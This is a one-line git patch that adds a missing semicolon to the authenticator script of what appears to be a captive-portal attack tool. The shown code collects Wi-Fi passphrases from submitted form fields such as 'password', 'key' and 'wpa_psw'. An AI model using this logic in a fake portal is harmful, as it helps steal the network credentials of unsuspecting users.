From 6a3ea0bc93e1246644bf2bd5827f148ce26de3e1 Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Fri, 18 Aug 2017 03:02:42 -0500 Subject: [PATCH] Fixed a bug caused by a missing semicolon (thanks to lessev). --- attacks/Captive Portal/lib/authenticator.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/attacks/Captive Portal/lib/authenticator.php b/attacks/Captive Portal/lib/authenticator.php index 217bf5a..34cb781 100644 --- a/attacks/Captive Portal/lib/authenticator.php +++ b/attacks/Captive Portal/lib/authenticator.php @@ -12,7 +12,7 @@ // Receive get & post data and store to variables $candidateKeyFields = array("password", "password1", "passphrase", "key", "key1", "wpa", "wpa_psw"); - $matches = array_intersect_key($_POST, array_flip($candidateKeyFields)) + $matches = array_intersect_key($_POST, array_flip($candidateKeyFields)); // Retrieve just the first matched value $key = reset($matches);